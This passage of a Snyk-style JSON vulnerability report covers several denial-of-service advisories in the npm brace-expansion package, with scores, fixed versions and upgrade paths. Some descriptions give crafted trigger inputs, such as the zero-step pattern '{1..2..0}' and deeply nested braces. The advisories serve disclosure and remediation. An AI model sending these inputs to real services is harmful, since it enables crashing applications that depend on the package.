"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmaccess@9.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
